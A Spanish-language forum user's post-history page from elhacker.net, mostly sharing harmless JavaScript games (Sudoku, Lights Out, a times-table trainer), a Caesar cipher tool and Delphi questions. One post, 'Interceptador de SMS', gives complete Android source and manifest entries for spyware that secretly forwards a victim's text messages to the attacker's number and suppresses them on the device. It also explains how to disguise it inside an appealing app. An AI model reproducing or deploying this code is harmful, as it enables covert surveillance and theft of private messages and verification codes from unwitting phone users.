elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


Tema destacado: Estamos en la red social de Mastodon


  Mostrar Temas
Páginas: 1 2 3 4 5 6 7 8 [9] 10 11 12 13 14 15
81  Programación / Desarrollo Web / javascript - Generador Sudoku en: 3 Enero 2020, 19:39 pm
Hola a todos,

aquí hay otra vez un javascript del usuario “Totalmente automático” (muchas gracias!). Se trata de un generador Sudoku, en el cual ustedes mismos podrán elegir el grado de dificultad.

En breve la explicación del juego para todos quienes todavía no lo conocen.

El objetivo del Sodoku es ubicar los números del 1 al 9 tanto verticalmente como también horizontalmente como también dentro de los bloques 3x3 correspondientes de tal manera que en cada fila, en cada columna y en cada bloque esos números respectivamente figuren solo una vez.

Si se ha logrado esto, el Sodoku esta solucionado.

Pues bien, que se diviertan desvanandose los sesos en el Sodoku :)

Código:
Código:
<!DOCTYPE html>
<html>
<head>
  <title>Ejemplo de javascript</title>
  <meta charset="UTF-8">
</head>
<body>
<!-- Presentado por javascripts-gratis.de -->
<script type='text/javascript'>
<!--
// (c) Copyright by Totalmente automatico 2007
///////
var estadoSudoku = 1; // Ingresar aqui si el sudoku debe imprimirse completamente (3) o solamente condicionado (1)
///////


// Sry, ni idea de donde tengo el segmento hasta ***... :-|
// --> Google tiene la culpa...
 function arrayShuffle(){
  var tmp, borde;
  for(var i =0; i < this.length; i++)
  {
    borde = Math.floor(Math.random() * this.length);
    tmp = this[i];
    this[i] = this[borde];
    this[borde] =tmp;
  }
}
Array.prototype.shuffle = arrayShuffle;
// ********


function sudoku_reset() {
for (var i = 1; i <= 81; i++) {
document.getElementById('celdaSudoku'+i).value = "";
}
}

function generar_sudoku ()
   {
   var campos = new Array();
sudoku_reset();
   
    var cola = new Array(1,2,3,4,5,6,7,8,9);
    cola.shuffle();
     for (var i = 1; i <= 81; i++)
     {
       campos[i-1] = cola[(i-1)%9];
       if (i %9 == 0) { var camino1 = cola[0]; var camino2 = cola[1]; var camino3 = cola[2]; cola.shift(); cola.shift(); cola.shift(); cola[6] = camino1; cola[7] = camino2; cola[8] = camino3; }
       if (i %27 == 0) { var camino = cola[0]; cola.shift(); cola[8] = camino; }
     }

     for (var cantidad = 0; cantidad < 400; cantidad++)   // 400 colas sustituidas!
     {
       if (Math.random() >= 0.333)
       {
       var betr_cola_1 = parseInt(Math.random() * 9);
       if (betr_cola_1 == 0) {   if (Math.random() > 0.5) { betr_cola_2 = 1; } else { betr_cola_2 = 2; }   }
       if (betr_cola_1 == 1) {   if (Math.random() > 0.5) { betr_cola_2 = 0; } else { betr_cola_2 = 2; }   }
       if (betr_cola_1 == 2) {   if (Math.random() > 0.5) { betr_cola_2 = 1; } else { betr_cola_2 = 0; }   }
       if (betr_cola_1 == 3) {   if (Math.random() > 0.5) { betr_cola_2 = 4; } else { betr_cola_2 = 5; }   }
       if (betr_cola_1 == 4) {   if (Math.random() > 0.5) { betr_cola_2 = 3; } else { betr_cola_2 = 5; }   }
       if (betr_cola_1 == 5) {   if (Math.random() > 0.5) { betr_cola_2 = 4; } else { betr_cola_2 = 3; }   }
       if (betr_cola_1 == 6) {   if (Math.random() > 0.5) { betr_cola_2 = 7; } else { betr_cola_2 = 8; }   }
       if (betr_cola_1 == 7) {   if (Math.random() > 0.5) { betr_cola_2 = 6; } else { betr_cola_2 = 8; }   }
       if (betr_cola_1 == 8) {   if (Math.random() > 0.5) { betr_cola_2 = 7; } else { betr_cola_2 = 6; }   }
       var entre = new Array();

         for (var i = 0; i <= 8; i++) { entre[i] = campos[betr_cola_1 * 9 + i]; }
         for (var i = 0; i <= 8; i++) { campos[betr_cola_1 * 9 + i] = campos[betr_cola_2 * 9 + i]; }
         for (var i = 0; i <= 8; i++) { campos[betr_cola_2 * 9 + i] = entre[i]; }
       }

       else if (Math.random() >= 0.666)
       {
       var betr_columna_1 = parseInt(Math.random() * 9);
       if (betr_columna_1 == 0) {   if (Math.random() > 0.5) { betr_columna_2 = 1; } else { betr_columna_2 = 2; }   }
       if (betr_columna_1 == 1) {   if (Math.random() > 0.5) { betr_columna_2 = 0; } else { betr_columna_2 = 2; }   }
       if (betr_columna_1 == 2) {   if (Math.random() > 0.5) { betr_columna_2 = 1; } else { betr_columna_2 = 0; }   }
       if (betr_columna_1 == 3) {   if (Math.random() > 0.5) { betr_columna_2 = 4; } else { betr_columna_2 = 5; }   }
       if (betr_columna_1 == 4) {   if (Math.random() > 0.5) { betr_columna_2 = 3; } else { betr_columna_2 = 5; }   }
       if (betr_columna_1 == 5) {   if (Math.random() > 0.5) { betr_columna_2 = 4; } else { betr_columna_2 = 3; }   }
       if (betr_columna_1 == 6) {   if (Math.random() > 0.5) { betr_columna_2 = 7; } else { betr_columna_2 = 8; }   }
       if (betr_columna_1 == 7) {   if (Math.random() > 0.5) { betr_columna_2 = 6; } else { betr_columna_2 = 8; }   }
       if (betr_columna_1 == 8) {   if (Math.random() > 0.5) { betr_columna_2 = 7; } else { betr_columna_2 = 6; }   }
       var entre = new Array();

         for (var i = 0; i <= 8; i++) { entre[i] = campos[betr_columna_1 + i * 9]; }
         for (var i = 0; i <= 8; i++) { campos[betr_columna_1 + i * 9] = campos[betr_columna_2 + i * 9]; }
         for (var i = 0; i <= 8; i++) { campos[betr_columna_2 + i * 9] = entre[i]; }
       }

       else
       {
       var betr_cola_bloque_1 = parseInt(Math.random() * 3);
       if (betr_cola_bloque_1 == 0) {   if (Math.random() > 0.5) { betr_cola_bloque_2 = 1; } else { betr_cola_bloque_2 = 2; }   }
       if (betr_cola_bloque_1 == 1) {   if (Math.random() > 0.5) { betr_cola_bloque_2 = 0; } else { betr_cola_bloque_2 = 2; }   }
       if (betr_cola_bloque_1 == 2) {   if (Math.random() > 0.5) { betr_cola_bloque_2 = 0; } else { betr_cola_bloque_2 = 1; }   }
       var entre = new Array();

         for (var i = 0; i <= 26; i++) { entre[i] = campos[betr_cola_bloque_1 * 27 + i]; }
         for (var i = 0; i <= 26; i++) { campos[betr_cola_bloque_1 * 27 + i] = campos[betr_cola_bloque_2 * 27 + i]; }
         for (var i = 0; i <= 26; i++) { campos[betr_cola_bloque_2 * 27 + i] = entre[i]; }
       }
     }

     if (document.getElementById('difiSudoku0').checked == true) { number = 36; }
     if (document.getElementById('difiSudoku1').checked == true) { number = 30; }
     if (document.getElementById('difiSudoku2').checked == true) { number = 26; }
     if (document.getElementById('difiSudoku3').checked == true) { number = 22; }
     var cuales = new Array(1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81);
     cuales.shuffle();
     estado = document.getElementById('estadoSudoku').value;
   for (var i = 0; i < number*estado; i++)
   {
for (var k = 1; k <= 81; k++) {
if (cuales[0] == k) document.getElementById('celdaSudoku'+k).value = campos[k-1];
}
  cuales.shift();
   }
   for (var i = 1; i <= 81; i++) {
document.getElementById('celdaSudoku'+i+'_hid').value = campos[i-1];
   }
}

function resolver ()
{
for (var i = 1; i <= 81; i++) {
document.getElementById('celdaSudoku'+i).value = document.getElementById('celdaSudoku'+i+'_hid').value;
}
}

function sudokuInit() {
document.write('<input type="hidden" name="estadoSudoku" id="estadoSudoku" value="1" />');
document.write('<h3 style="display: inline;">Tu propio Sudoku</h3>');
document.write('<br />');
document.write('<fieldset>');
document.write('<legend>Generador Sudoku</legend>');
document.write('<br />');
document.getElementById('estadoSudoku').value = 1;

document.write("<style type='text/css'>");
document.write(".input { border: 1px solid #000000; width: 25px; height: 25px; text-align: center; font-family: Arial; font-weight: bold; }");
document.write("fieldset { width: 50%; padding: 10px; float: center; margin-left: auto; margin-right: auto; }");
document.write("</style>");
for (var j = 1; j <= 1; j++)
{
for (var i = 1; i <= 81; i++)
{
document.write("<input type='text' name='celdaSudoku"+i+"' id='celdaSudoku"+i+"' maxlength='1' style='overflow: hidden' class='input'> ");
if (i %3 == 0){ document.write("    "); }
if ( (i %9 == 0) && (i != 81) ){ document.write("<br />"); }
if (i %27 == 0) { document.write("<br />"); }
}
}
for (var i = 1; i <= 81; i++)
{
document.write("<input type='hidden' name='celdaSudoku"+i+"_hid' id='celdaSudoku"+i+"_hid' />");
}

document.write('<input type="radio" name="difi" id="difiSudoku0" checked="checked" /> <b>*</b>   ');
document.write('<input type="radio" name="difi" id="difiSudoku1" /> <b>**</b>   ');
document.write('<input type="radio" name="difi" id="difiSudoku2" /> <b>***</b>   ');
document.write('<input type="radio" name="difi" id="difiSudoku3" /> <b>****</b>');
document.write('<br /><br />');
document.write('<button onclick="generar_sudoku();">Generar</button>');
document.write('   ');
document.write('<button onclick="sudoku_reset();">Desechar</button>');
document.write('   ');
document.write('<button onclick="resolver();">Resolver</button>');
document.write('</fieldset>');
}
//-->
</script>
<script type="text/javascript">sudokuInit();</script>
<!-- Presentado por javascripts-gratis.de -->
</body>
</html>

Página web:
https://drive.google.com/open?id=1LKzs8_a1B0JiVA76r3RjjUT24Nqd3RBr

Autor: Totalmente automático

Saludos
82  Programación / Desarrollo Web / Lights Out 2 en: 19 Octubre 2019, 10:50 am
Hola a todos,

del usuario "totalmente automático" viene esta versión del juego Lights Out.

El objetivo del juego es que también aquí se clickee los campos de tal manera que al final no quede ningún gancho más.

En contraste con la otra versión del juego, aquí existe ahora la posibilidad de poner los campos aleatoriamente al principio. Además se integro una vía de solución que les muestra cómo resolver la constelación actual en el juego.

Con vía de solución solamente se tiene la mitad de la diversión pero ella muestra que no es imposible resolver la tarea  ;). Que se diviertan con eso!

Código:
Código:
<!DOCTYPE html>
<html>
<head>
  <title>Ejemplo de javascript</title>
  <meta charset="UTF-8">
</head>
<body>
<!-- präsentiert von kostenlose-javascripts.de -->
<script type='text/javascript'>
<!--
// (C)opyright by Vollautomatisch June 4 2007

    function arrayShuffle()
  {
    var tmp, borde;
    for(var i =0; i < this.length; i++)
    {
      borde = Math.floor(Math.random() * this.length);
      tmp = this[i];
      this[i] = this[borde];
      this[borde] =tmp;
    }
  }
  Array.prototype.shuffle = arrayShuffle;

  function validate (uno, dos, tres, cuatro)
  {
    if (document.getElementById('campo_' + uno).checked == true)
    {
      if (document.getElementById('campo_' + dos).checked == true)
      {
        if (document.getElementById('campo_' + tres).checked == true)
        {
          if (document.getElementById('campo_' + cuatro).checked == true)
          {
            return true;
          }
        }
      }
    }
    return false;
  }

  function solve ()
  {
    var viejo = new Array();
    for (var i = 1; i < 26; i++)
    {
      viejo[i-1] = document.getElementById('campo_' + i).checked == true;
    }
    var draws = new Array();
    var numero = 0;
    for (var i = 1; i < 21; i++)
    {
      if (document.getElementById('campo_' + i).checked == true)  { draws[numero] = (i + 5); numero++; cambia(i + 5); lightsOut(i + 5); }
    }
    if (document.getElementById('campo_21').checked == true)  { draws[numero] = 4; numero++; cambia(4); lightsOut(4); draws[numero] = 5; numero++; cambia(5); lightsOut(5); }
    if (document.getElementById('campo_22').checked == true)  { draws[numero] = 2; cambia(2); lightsOut(2); numero++; draws[numero] = 5; numero++; cambia(5); lightsOut(5); }
    if (document.getElementById('campo_23').checked == true)  { draws[numero] = 4; numero++; cambia(4); lightsOut(4); }
    for (var i = 1; i < 21; i++)
    {
      if (document.getElementById('campo_' + i).checked == true)  { draws[numero] = (i + 5); numero++; cambia(i + 5); lightsOut(i + 5); }
    }

    if (validate(16, 16, 21, 22) == true)  { draws[numero] = 21; numero++; cambia(21); lightsOut(21); }
    else if (validate(20, 20, 24, 25) == true)  { draws[numero] = 25; numero++; cambia(25); lightsOut(25); }
    else if (validate(17, 21, 22, 23) == true)  { draws[numero] = 22; numero++; cambia(22); lightsOut(22); }
    else if (validate(18, 22, 23, 24) == true)  { draws[numero] = 23; numero++; cambia(23); lightsOut(23); }
    else if (validate(19, 23, 24, 25) == true)  { draws[numero] = 24; numero++; cambia(24); lightsOut(24); }
    else if (validate(17, 17, 21, 22) == true && validate(19, 19, 24, 25) == true)  { draws[numero] = 22; numero++; cambia(22); lightsOut(22); draws[numero] = 24; numero++; cambia(24); lightsOut(24); }

    for (var i = 1; i < 26; i++)
    {
      if (viejo[i-1] == true)  { document.getElementById('campo_' + i).checked = true; }
      if (viejo[i-1] == false)  { document.getElementById('campo_' + i).checked = false; }
    }

    var copy = new Array();
    for (var i = 0; i < draws.length; i++)
    {
    cut = draws[i];
      if (cut == 1)  { copy[i] = 'A1'; }
      else if (cut == 2)  { copy[i] = 'B1'; }
      else if (cut == 3)  { copy[i] = 'C1'; }
      else if (cut == 4)  { copy[i] = 'D1'; }
      else if (cut == 5)  { copy[i] = 'E1'; }
      else if (cut == 6)  { copy[i] = 'A2'; }
      else if (cut == 7)  { copy[i] = 'B2'; }
      else if (cut == 8)  { copy[i] = 'C2'; }
      else if (cut == 9)  { copy[i] = 'D2'; }
      else if (cut == 10)  { copy[i] = 'E2'; }
      else if (cut == 11)  { copy[i] = 'A3'; }
      else if (cut == 12)  { copy[i] = 'B3'; }
      else if (cut == 13)  { copy[i] = 'C3'; }
      else if (cut == 14)  { copy[i] = 'D3'; }
      else if (cut == 15)  { copy[i] = 'E3'; }
      else if (cut == 16)  { copy[i] = 'A4'; }
      else if (cut == 17)  { copy[i] = 'B4'; }
      else if (cut == 18)  { copy[i] = 'C4'; }
      else if (cut == 19)  { copy[i] = 'D4'; }
      else if (cut == 20)  { copy[i] = 'E4'; }
      else if (cut == 21)  { copy[i] = 'A5'; }
      else if (cut == 22)  { copy[i] = 'B5'; }
      else if (cut == 23)  { copy[i] = 'C5'; }
      else if (cut == 24)  { copy[i] = 'D5'; }
      else if (cut == 25)  { copy[i] = 'E5'; }
    }

    for (var j = 0; j < copy.length; j++)
    {
      for (var i = 0; i < copy.length; i++)
      {
        if ( (copy[i] == copy[j]) && (copy[i] != "") && (i != j) )  { copy[i] = ""; copy[j] = ""; }
      }
    }

    var salida = new Array();
    var numero = 0;

    for (var i = 0; i < copy.length; i++)
    {
      if (copy[i] != "")  { salida[numero] = copy[i]; numero++; }
    }

    salida.shuffle();
    document.getElementById('solven').value = salida.join(" -> ") + "... Done!!!";
  }

  function random ()
  {
    var numero = parseInt(Math.random() * 10 + 25);
    for (var i = 0; i < numero; i++)
    {
      var campo = parseInt(Math.random() * 25 + 1);
      cambia(campo);
      lightsOut(campo);
    }
  }

  function cambia ( campo )
  {
    campo = parseInt(campo);
    if (document.getElementById('campo_' + campo).checked == true)  { document.getElementById('campo_' + campo).checked = false; }
    else if (document.getElementById('campo_' + campo).checked == false)  { document.getElementById('campo_' + campo).checked = true; }
  }

  function lightsOut (campo)
  {
    campo = parseInt(campo);  
    if ( (campo > 6) && (campo < 10) || (campo > 11) && (campo < 15) || (campo > 16) && (campo < 20))
    {
      var campos = new Array(-5, -1, 1, 5);
      if (document.getElementById('campo_' + (campo-5)).checked == true)  { document.getElementById('campo_' + (campo-5)).checked = false; }
      else if (document.getElementById('campo_' + (campo-5)).checked == false)  { document.getElementById('campo_' + (campo-5)).checked = true; }

      if (document.getElementById('campo_' + (campo-1)).checked == true)  { document.getElementById('campo_' + (campo-1)).checked = false; }
      else if (document.getElementById('campo_' + (campo-1)).checked == false)  { document.getElementById('campo_' + (campo-1)).checked = true; }

      if (document.getElementById('campo_' + (campo+1)).checked == true)  { document.getElementById('campo_' + (campo+1)).checked = false; }
      else if (document.getElementById('campo_' + (campo+1)).checked == false)  { document.getElementById('campo_' + (campo+1)).checked = true; }
 
      if (document.getElementById('campo_' + (campo+5)).checked == true)  { document.getElementById('campo_' + (campo+5)).checked = false; }
      else if (document.getElementById('campo_' + (campo+5)).checked == false)  { document.getElementById('campo_' + (campo+5)).checked = true; }
    }
    else
    {
      switch (campo)
      {
        case 1: cambia(2); cambia(6); break;
        case 2: cambia(1); cambia(3); cambia(7); break;
        case 3: cambia(2); cambia(4); cambia(8); break;
        case 4: cambia(3); cambia(5); cambia(9); break;
        case 5: cambia(4); cambia(10); break;
        case 6: cambia(1); cambia(7); cambia(11); break;
        case 10: cambia(5); cambia(9); cambia(15); break;
        case 11: cambia(6); cambia(12); cambia(16); break;
        case 15: cambia(10); cambia(14); cambia(20); break;
        case 16: cambia(11); cambia(17); cambia(21); break;
        case 20: cambia(15); cambia(19); cambia(25); break;
        case 21: cambia(16); cambia(22); break;
        case 22: cambia(17); cambia(21); cambia(23); break;
        case 23: cambia(18); cambia(22); cambia(24); break;
        case 24: cambia(19); cambia(23); cambia(25); break;
        case 25: cambia(20); cambia(24); break;
        }
      }
    }
function initFields() {
  document.write('<table cellspacing="0">');
  document.write('<tr>');
    document.write('<th></th>');
    document.write('<th>A</th>');
    document.write('<th>B</th>');
    document.write('<th>C</th>');
    document.write('<th>D</th>');
    document.write('<th>E</th>');
  document.write('</tr>');
  document.write('<tr>');
    for ( var i = -5; i < 32; i++ )
    {
      if (i == 1)  { document.write('</tr><tr><td>1</td>'); }
      if ( (i > 0) && (i < 26) )  { document.write('<td><input type="checkbox" name="campo" id="campo_' + i + '" onClick="lightsOut( ' + i + ' )" style="background-color: #ffffff;" /></td>'); }
      if ( (i <= 0) || (i >= 26) )  { document.write('<td><input type="checkbox" name="campo" id="campo_' + i + '" style="visibility: hidden;" /></td>'); }

      if ( (i %5 == 0) && (i > 0))  { document.write('</tr><tr>'); }
      if ( (i > 0) && (i < 25) && (i %5 == 0) )  { document.write('<td>' + (i /5 + 1) + '</td>'); }
    }
  document.write('</tr>');
  document.write('</table>');
}

//-->
</script>
<button onclick="random()">Aleatorio</button>
    
<button onclick="solve()">Resolver</button>
  <br />
  <br />
<textarea name="solven" id="solven" id="solven" rows="5" cols="40" style="overflow: auto;" readonly="readonly"></textarea>
<script type="text/javascript">initFields();</script>
<!-- Presentado por javascripts-gratis.de -->
</body>
</html>

Página web: https://drive.google.com/open?id=1h4K2om6vBVk-bIAHV98zx91aQQDLKYYt

Autor: totalmente automático


Saludos
83  Programación / Desarrollo Web / javascript - Entrenador uno por uno en: 18 Octubre 2019, 10:06 am
Hola a todos,

este javascript esta principalmente dirigido a los alumnos de la escuela primaria y entrena el 1x1.

Con ello se plantean tareas aleatorias y el javascript calcula la puntuación basandose en las respuestas.


Que se diviertan con eso :D

Código:
Código:
<!DOCTYPE html>
<html>
<head>
  <title>Ejemplo de javascript</title>
  <meta charset="UTF-8">
</head>
<body>
<!-- Presentado por javascripts-gratis.de -->
<script type='text/javascript'>
<!--
/*
Este script proviene de Freddus.
Ustedes lo pueden usar libremente.
Aunque ustedes no deben cambiar nada y sería agradable
agregar un link hacia mi página principal (ver abajo).
El entrenador uno por uno es principalmente para alumnos del 2. al 4. grado.
*/
let resultado,puntos,corriendo;
resultado=5;
puntos=0;
corriendo=0;
function fininicio(){
window.status=("Entrenador uno por uno 1.0 by Nobstyle");
if (corriendo == 0){
corriendo=1;
document.getElementById('inicioFin').value="finalizar";
document.getElementById('batten').style.visibility="visible";
document.getElementById('entrada').style.visibility="visible";
document.getElementById('entrada').value="";
document.getElementById('entrada').focus();
tareanueva();
}// fin if
else{
corriendo=0;
document.getElementById('visualizacion').innerHTML="<p align='center'><font color='blue'>Bienvenido al entrenador uno por uno!</font></p>";
document.getElementById('inicioFin').value="Ah\u00ED vamos!";
document.getElementById('batten').style.visibility="hidden";
document.getElementById('entrada').style.visibility="hidden";
puntos=0;
document.getElementById('salidaDePuntos').innerHTML="<font color='green'>Puntos: "+puntos+"</font>";
}// fin else
}// fin function

function tareanueva(){
const numero1=Math.ceil(Math.random()*10);
const numero2=Math.ceil(Math.random()*10);
resultado = numero1*numero2;
document.getElementById('visualizacion').innerHTML="<p align='center'><font color='blue'>"+numero1+" x "+numero2+"</font></p>";
} // fin function

function verificar(){
if (document.getElementById('entrada').value == resultado){
puntos++;
document.getElementById('salidaDePuntos').innerHTML="<font color='green'>Puntos: "+puntos+"</font>";
document.getElementById('entrada').value="";
document.getElementById('entrada').focus();
if (puntos>=50){
alert("Estupendo, has ganado el juego!");
fininicio();
}// fin if
else{
tareanueva();
}// fin else
}// fin if
else{
if (document.getElementById('entrada').value == ""){
alert("Tienes que ingresar algo...");
}// fin if
else{
puntos=puntos/2;
document.getElementById('salidaDePuntos').innerHTML="<font color='red'>Puntos: "+puntos+"</font>";
document.getElementById('entrada').value="";
document.getElementById('entrada').focus();
}// fin else
}// fin else
} // fin function

window.status=("Entrenador uno por uno 1.0 by Nobstyle");
//-->
</script>
<font align="center">
<center>
  <table border="3" width="250" bordercolor="#000080" bordercolorlight="#000080" bordercolordark="#000080">
<tr>
  <td width="100%" id="visualizacion" colspan="2"><p align="center"><font color="blue">Bienvenido al entrenador uno por uno!</font></p></td>
</tr>
<tr>
  <td width="100%" colspan="2"><p align="center">
  <input type="text" id="entrada" size="20" style="visibility:hidden" />
  <input type="button" value="OK" id="batten" onclick="verificar()" style="visibility:hidden" />
</p></td>
</tr>
<tr>
  <td width="50%"><p align="center" id="salidaDePuntos"><font color="green">Puntos: 0</font></p></td>
  <td width="50%"><p align="center">
  <input type="button" value="Ah&iacute; vamos!" id="inicioFin" onclick="fininicio()" />
</p></td>
</tr>
  </table>
</center>
</font>
</body>
</html>

Página web: https://drive.google.com/open?id=1DN6KR0y5bx1ePoK6CW3Lfd869-ncS8IZ

Autor: Freddus


Saludos
84  Foros Generales / Sugerencias y dudas sobre el Foro / Web Application Firewall (WAF) Blocked en: 16 Octubre 2019, 17:36 pm
Hola a todos,

al tratar de crear un post me sale este error:

Web Application Firewall (WAF) Blocked

::CAPTCHA_BOX::
Una regla de seguridad ha sido aplicada. Si crees que es un error (falso positivo) contacta con webmaster@elhacker.net. Gracias.

He pedido ayuda pero a nadie le interesa. Esto es lo último que haré.

Realmente, en comparación con otros foros, bue... mejor no escribo nada. Quizas los administradores se sientan tan ofendidos que me darán ban....


Gracias y saludos
85  Programación / Programación General / Procedimiento de Delphi con ayuda de orientación? en: 27 Septiembre 2019, 01:43 am
¡Holu hola!

Tengo que hacer una tarea del hogar en el proceso clásico de Delphi (panel de expertos) y ya he encontrado algunos subgrupos de este método científico, uno de los cuales se llama Delphi con ayuda de orientación, pero todo lo que encontré en Internet para esta guía fue que la subsecuente retroalimentación debería representarla.

¿Hay alguien que lo sepa mejor?


Gracias de antemano!
86  Programación / Programación General / Delphi form mouse tira form más grande sin presionar el botón derecho del mouse? en: 27 Septiembre 2019, 01:30 am
Buenas días,

tengo un pequeño problema con mi aplicación esta mañana.

El error es, como se describió anteriormente, que mi formulario Delphi, cuando quiero moverlo con el puntero del mouse, que luego ya no lo detiene después de completar presionar el botón derecho del mouse con el proceso de destino. Solo se detiene cuando lo presiono nuevamente.


Gracias y saludos
87  Programación / Java / Interceptador de SMS en: 19 Agosto 2019, 11:28 am
Hola a todos,

aquí hay un interceptor de SMS que se escribió para un miembro de un foro por el 2011, pensé que seguiría adelante y lo liberaría públicamente ya que la sección de Java a veces es aburrida como Clay Davis.

Lo que esto hace:
  • Intercepta mensajes SMS.
  • Puedes elegir un número o números para interceptar, o simplemente interceptar todo.
  • Redirige los mensajes interceptados a un número de tu elección.
  • Te permite cancelar la transmisión SMS_RECEIVED, lo que significa que tu aplicación será la única en leerlos y la víctima nunca verá el mensaje.

Cosas a tener en cuenta:
  • Esto no bloquea las salidas de Logcat. Esto significa que si la víctima es un desarrollador, puede notar que una transmisión de SMS entrante se registra en Logcat. Realmente un hecho raro, no me preocuparía.
  • No tengo idea de lo que sucede en caso de un mensaje MMS.
  • Nunca he probado esto a gran escala, esto solo se ha probado en un entorno controlado. No me culpes si tu cuenta de desarrollador se suspende.
  • Se le notificará al usuario que está utilizando los permisos de SMS declarados en tu manifiesto,  eso se ve sospechoso. Intenta jugarlo como una característica en tu aplicación.

Ahora bien, aquí está el código fuente.
SmsReceiver.java
Código:
//Author: MrZander

import java.util.Arrays;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;

public class SmsReceiver extends BroadcastReceiver {

    // CONFIGURATION //

    // Esto cancelará la transmisión del SMS recibido.
    // Si esto es true, la víctima NO recibirá el mensaje que se le envía.    
    boolean abortarTM = true;

    // Si se debe interceptar o no TODOS los mensajes.    
    boolean interceptarTodos = false;

    // si interceptarTodos está apagado, esta es la matriz de números que serán interceptados.
    String[] numeros = {"5551234567","5551234655"};

    // Estos son los números de celulares a los que se ENVIARÁN los mensajes. (Su celular).
    String redireccionarCelular = "1235558765";

    // En emisión recibida. Mensaje SMS entrante.
    public void onReceive(Context context, Intent intento) {

  Bundle extras = intento.getExtras();
  String mensajes = "";

  // Se utiliza para determinar si un mensaje debe ser redirigido o no.
  boolean esDeEspia = false;

  if ( extras != null ) {
    Object[] smsExtra = (Object[]) extras.get("pdus"); //" Unidades de descripción de protocolo "
    for ( int i = 0; i < smsExtra.length; ++i ) { // Recorrer todos los mensajes (si se divide).

        // Recibe el mensaje de las UDP
    SmsMessage sms = SmsMessage.createFromPdu((byte[])smsExtra[i]);

    // Si interceptarTodos es verdadero o el número de teléfono está en la matriz de números para interceptar.
    if(interceptarTodos||Arrays.asList(numeros).contains(sms.getDisplayOriginatingAddress())){
  // Si el mensaje se disecciona en múltiples, concatenar.
    mensajes+=sms.getMessageBody()+"\n";

    // Este mensaje es de la víctima, redirigir.
    esDeEspia=true;

    //Abortar SMS.
    if(!abortarTM){
        abortBroadcast();
    }

    }
    }

    // Redirigir mensaje si es de la víctima
    if(esDeEspia){
        enviarSms(mensajes,"TUNUMERO");
    }

  }
    }

    // Enviar SMS ... bastante sencillo
    public  void enviarSms(String mensaje, String numcelular){
  SmsManager gs = SmsManager.getDefault();
  try{
  gs.sendTextMessage(numcelular, null, mensaje, null, null);
  }catch(Exception ex){
      // Error, este mensaje se perderá ... Les sugiero que creen
      // un método para hacer una copia de seguridad de los mensajes en caso de error y que lo vuelvan a intentarlo más tarde.
  }
    }
}

Declaraciones para agregar a sus AndroidManifest.xml
Permisos:
Código:
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.SEND_SMS" />

Receptor de transmisión: (le permite a Android saber que vas a recibir mensajes SMS. Nota: la prioridad se establece muy alta para permitir que tu aplicación sea la primera en recibir un mensaje SMS.
Código:
<receiver android:name=".SmsReceiver" android:enabled="true">
    <intent-filter android:priority="1000">
    <action android:name="android.provider.Telephony.SMS_RECEIVED" />
    </intent-filter>
    </receiver>
Asegúrate de que si cambias "SmsReceiver.java a un nombre de clase diferente también tienes que cambiarlo en el manifiest. (Aunque no hay razón para cambiarlo).

Lo que tienes que hacer
1. Crea una aplicación que no sea Clay Davis para que la gente realmente la descargue.
2. Agrega la clase 'SmsReceiver' a tu proyecto. (Recomiendo NO renombrarlo).
3. Agrega las declaraciones de manifiest.

Estas listo. No se necesita un código de inicialización, todo se maneja en el Manifiesto.
Avísenme si hay algún problema/error. (Se agregó algunas características sin probar. No creo que sea muy retrasado. Debería ser bueno).
Que se diviertan.

Autor: MrZander

Saludos


PD.: Posteen códigos
88  Programación / Java / Tomar una foto desde una webcam en: 2 Agosto 2019, 20:09 pm
Hola a todos,

vi interesante este post: https://foro.elhacker.net/java/tomar_una_foto_desde_una_webcam-t285457.0.html

Lo quería comentar, pero esta cerrado. Así que me gustaría hacerlo aquí:

Es un buen post.
Pero creo que la mayoría de la gente no elige Java cuando se trata de código malicioso.
Java necesita JVM / JRE para ejecutar .jar y, por supuesto, hay una solución para esto, como crear un ejecutable nativo a partir del código que se puede ver en ese post.

Saludos
89  Programación / Java / Java - Caesar cifra ESTABLE – v0.70 en: 2 Agosto 2019, 19:45 pm
Caesar Cipher STABLE - v1.00 - By Iyyel

Hola chicos y chicas!
Hoy decidí hacer una pequeña muestra de un software de cifrado para ustedes. El programa se encuentra en estado beta como lo sugiere su nombre, porque todavía hay algunos errores. Así que vamos a empezar con el espectáculo.

Tabla de contenido

1. Por defecto
2. FAQ
3. Exportar
4. Limpiar
5. Llave
6. Decriptar
7. cifrar
8. Bugs conocidos


1. Por defecto

Esto es lo que verán después de haber ejecutado la aplicación. Verán dos áreas de texto, en donde el usuario puede escribir ya sea texto descifrado o cifrado, así como botones de control y el valor de la llave a la derecha de las áreas de texto.

2. FAQ

La pestaña de FAQ está llena de toda información que posiblemente deseen saber sobre el software y sobre cómo operarlo. Además, tiene información relevante sobre el desarrollador si fuera necesario algún contacto.

3. Exportar

El botón de exportación se usa para cuando el usuario desea generar lo que está escrito en las pestañas de cifrado y descifrado, así como el valor de la llave más información adicional. Hará un archivo .txt llamado CaesarcifraTexto en una carpeta llamada Caesercifra en el directorio C:\.

4. Limpiar

El botón Limpiar le hace honor a su nombre. Simplemente borra tanto las áreas de descifrado como las de cifrado, por lo que están listas para ser utilizadas para un nuevo uso.

5. Llave

Aquí es donde insertas el valor shift que deseas que utilice el cifrado césar para cifrar el texto descifrado. Un ejemplo de una instancia con el valor shift 1 se muestra en la imagen de arriba. El valor shift puede ser negativo o positivo.

6. Decriptar

Cuando se hace clic en el botón decriptar, el programa toma el texto del área de texto 'cifrado' y lo ejecuta a través de un algoritmo de descifrado con el valor shift como entrada, y luego emite el texto descifrado dentro del área 'Decriptado'.

7. cifrar

El botón de cifrado se usa cuando el usuario desea cifrar el texto dentro del área 'Decriptar' basado en el valor shift insertado.

8. Bugs conocidos
Actualmente solo hay un bug conocido en el software. No hay posibilidad de scroll en las dos áreas de texto, lo que podría ser bastante frustrante si se trabaja con textos más grandes. Si encuentras algún error, por favor repórtalo en el hilo o envíalo por MP. Gracias.

Caesar cifra BETA - v0.70:
https://drive.google.com/open?id=1XC3KcVvTchhkAsXTJTCNq1niKpMuk_hA

